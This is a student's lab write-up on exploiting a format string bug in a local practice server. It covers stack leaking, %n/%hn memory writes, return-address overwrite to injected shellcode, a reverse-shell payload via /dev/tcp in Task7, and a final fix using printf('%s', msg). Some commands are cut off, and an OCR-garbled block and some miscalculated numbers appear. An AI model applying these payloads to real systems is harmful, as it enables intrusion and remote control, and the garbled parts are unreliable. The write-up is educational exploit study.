# Computer\_security\_lab3

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# Task1

Running test:

```
| Companies | Comp
```

# Task2

# Question1:

First I use gdb ./server and disass main to check the return address of myprintf() in the main function.

```
■  Terminal
   0x080486cd <+165>:
                          push
                                  0x80488cd
   0x080486d2 <+170>:
0x080486d7 <+175>:
                                  0x8048430 <perror@plt>
                          call
                          add
                                  esp,0x10
                                  esp,0x8
   0x080486da <+178>:
                          sub
   0x080486dd <+181>:
                          push
                                  0x5dc
   0x080486e2 <+186>:
                          lea
                                  eax, [ebp-0x5e8]
   0x080486e8 <+192>:
                          push
   0x080486e9 <+193>:
                                 0x8048400 <bzero@plt>
                          call
   0x080486ee <+198>:
                          add
                                 esp,0x10
   0x080486f1 <+201>:
                                 esp,0x8
                          sub
   0x080486f4 <+204>:
                          lea
                                  eax, [ebp-0x610]
   0x080486fa <+210>:
                          push
                                 eax
   0x080486fb <+211>:
                          lea
                                 eax,[ebp-0x5f8]
   0x08048701 <+217>:
                          push
                                  eax
   0x08048702 <+218>:
                                  0x0
                          push
   0x08048704 <+220>:
                          push
                                  0x5db
   0x08048709 <+225>:
                          lea
                                  eax,[ebp-0x5e8]
   0x0804870f <+231>:
                          push
                                  eax
   0x08048710 <+232>:
                                 DWORD PTR [ebp-0x60c]
                          push
   0x08048716 <+238>:
                          call
                                  0x8048410 <recvfrom@plt>
   0x0804871b <+243>:
                          add
                                  esp,0x20
   0x0804871e <+246>:
                          sub
                                  esp,0xc
   0x08048721 <+249>:
                                  eax,[ebp-0x5e8]
                          lea
   0x08048727 <+255>:
                          push
                                  eax
   0x08048728 <+256>:
                          call
                                  0x804859b <myprintf>
   0x0804872d <+261>:
0x08048730 <+264>:
                          add
                                 esp,0x10
                          jmp
                                  0x80486da <main+178>
End of assembler dump.
```

And then I type the string

```
[10/08/20]seed@VM:~/Desktop$ ./server
The address of the secret: 0x080487c0
The address of the 'target' variable: 0x0804a040
The value of the 'target' variable (before): 0x11223344
The address of the 'msg' argument: 0xbf9fae80
bf9fae80.b76bf000.0804871b.000000003.bf9faec0.bf9fb4a8.0804872d.bf9faec0.bf9fae98
.00000010.0804864c.05040400.1707070d.00000010.00000003.82230002.000000000.00000000
0.000000000.9a8d0002.0100007f.0000000000.78382e25.382e252e.2e252e78.252e78
38.2e78382e.78382e25.382e252e.2e252e78.
The value of the 'target' variable (after): 0x11223344
```

Now I see the RA in the stack of myprintf().

And from [78382e25] there is a loop, which corresponds to the string I input %.8x.%.8x....., which is little-ended.

And I know the address of the 'msg' argument is <code>0xbf9fae80</code>, and from the stack picture in the lab slide, I can get the address of **1** is <code>0xbf9fae80-8\*4=0xbf9fae60</code>, the address of **2** is <code>0xbf9fae80-4=0xbf9fae7c</code>, the address of **3** is <code>0xbf9fae80+16\*4=0xbf9faec0</code>.

Location	Memory address
1	0xbf9fae60
2	0xbf9fae7c
3	0xbf9faec0

### **Question2:**

The distance is 0x60.

### Task3

I input the string

# Task4

#### Task4A

In the screenshot of Task2Q1, I use 24 %.8x to get first 4 bytes of my input.

#### Task4B

From Task4A, using 23 %.8x and 1 %s to print the secret string.

# Task 5

#### Task5A

```
The value of the 'target' variable (after): 0x11223344

The address of the 'msg' argument: 0xbff25d80

@\[0] \frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\frac{1}{2}\
```

I use the command echo \$(printf

Target value  $0x11223344 \rightarrow 0x000000bc$ .

#### Task5B

I must print 5\*16\*16 bytes before %n.

Here I use the command echo \$(printf

Here is how to calculate 1100: 5\*16\*16-8\*22-4=1100.

#### Task5C



I must print 0xff99 character before %hn (to write in the address 0x0804a042), and add it to 0x10000 before another %hn (to write in the address 0x0804a040)

0xff99=655433

655433-4\*3-22\*8=65245, which I put it into the 23rd position of %.8x, to overwrite the high address, 65536-65245=103, so I put it between 2 %hn to cumulate the number to 65536, and overwrite the low address. Altogether I change the value to 0xff990000.

# Task6

In this task I need to overwrite the value in the RA of myprintf() by the beginning address of the malicious shellcode.

From the <u>task2</u> above we know that the distance between msg address and buf address is 0x40, RA address = msg address - 4.

And from the Task4B, I must put 23 %.8x first to reach my buf address, then we need a %hn to overwrite the high 16 bits of RA address, and a %.?x to reach the number we need, and a %hn to overwrite the low 16 bits of RA address. All in all we need 23+1+1+1=26 offset in the buf.

**Approximately** the beginning address of the malicious shellcode is 'msg address' + 0x40+26\*4(offset).

# **Invading process**

1. First using echo \$(printf


Here we can see the address of msg is 0xbf8454f0. So the address of RA is 0xbfe9898c, the approximate address of the beginning address is 0xbfe98a44, and I change the 23rd of %.8x to %.48941x (48941 = 0xbfe9-22\*8-12).

Because 0x8a44<0xbfe9, we must use overflow technique in <u>Task5C</u>, the result of 0x18a44-0xbfe9 is 5 digits decimal number.

And %.48941x is in the buf, which is stored 4 more bytes than %.8x, and %hn is stored 1 less byte than %.8x, so the **exact** beginning address of malicious code (Starting with '\x31') is 'msg address' + 0x40+26\*4(offset)+12+10=0xbfe98a4e, however we just using 'msg address' + 0x40+26\*4(offset)+12+8=0xbfe98a4c in the task because there are 4 **NOP** in the beginning.


0x18a4c-0xbfe9=51811, so I change the 25th %.8x to %.51811x.


And change 24th and 26th %.8x to %hn.



#### 2. Here is the successful code and screenshots

#### echo \$(printf





# Why put NOP at the beginning of shellcode?

#### Explanation:

NOP serves as a **"buffer"**, which means we can just calculate the **approximate** address of the beginning of shellcode and put it into RA. Because NOP does no operation.

If we have no NOPs, then we must calculate the address of the beginning of shellcode **exactly** and put it into RA, which is **troublesome**.

#### Task7

Task7 is similar to Task6.

- 1. First modify the shellcode "/bin/bash -i > /dev/tcp/127.0.0.1/7070 0<&1 2>&1" between ① and ②, and the length of the shellcode is exactly 48 bytes, which is a multiple of 4. So we do not need to add more spaces.
- 2. Similar to Task6.

Using command echo \$(printf

 $0\x681/70\x680.0.\x68127.\x68tcp/\x68dev/\x68 > /\x68h -$ 

 $i\x68/bas\x68/bin\x89\xe2\x31\xc9\x51\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x 0b\xcd\x80") > task7before and nc -u localhost 9090 to check the address of msg.$ 

Here we can see the address of msg is 0xbf903320. So the address of RA is 0xbf90331c, the approximate address of the beginning address is 0xbf9033d4, and I change the 23rd of %.8x to %.48852x (48852 = 0xbf90-22\*8-12).


Because 0x3320<0xbf90, we must use overflow technique in <u>Task5C</u>, the result of 0x13320-0xbf90 is 5 digits decimal number.

And %.48852x is in the buf, which is stored 4 more bytes than %.8x, and %hn is stored 1 less byte than %.8x, so the exact beginning address of malicious code (the first **NOP**) is 'msg address' + 0x40+26\*4(offset)+12+10=0xbf9033de, however we just using 'msg address' + 0x40+26\*4(offset)+12+8=0xbf9033dc in the task because there are 4 **NOP** in the beginning.

0x133dc-0xbf90=29772, so I change the 25th %.8x to %.29772x.

And change 24th and 26th %.8x to %hn.

echo \$(printf



# Task8

#### Explanation:

There is no format string, which can be exploited by users' codes. If users input the codes in the location of format string, it provides a chance for users to change the behavior of the function, and break the completeness of the program.

#### Modification:

```
printf(msg);->printf("%s",msg);.
```

After modification, the compiler does not give any warning.

```
[10/09/20]seed@VM:~/Desktop$ gcc -z execstack -o sm server_modified.c
[10/09/20]seed@VM:~/Desktop$
```

The attack does not work, here is an example.

```
[10/09/20]seed@VM:~/Desktop$ ./sm
The address of the secret: 0x080487c0
The address of the 'target' variable: 0x0804a040
The value of the 'target' variable (before): 0x11223344
The address of the 'msg' argument: 0xbfal3ee0
% .8x
The value of the 'target' variable (after): 0x11223344
The address of the 'msg' argument: 0xbfal3ee0
%55
The value of the 'target' variable (after): 0x11223344

The value of the 'target' variable (after): 0x11223344
```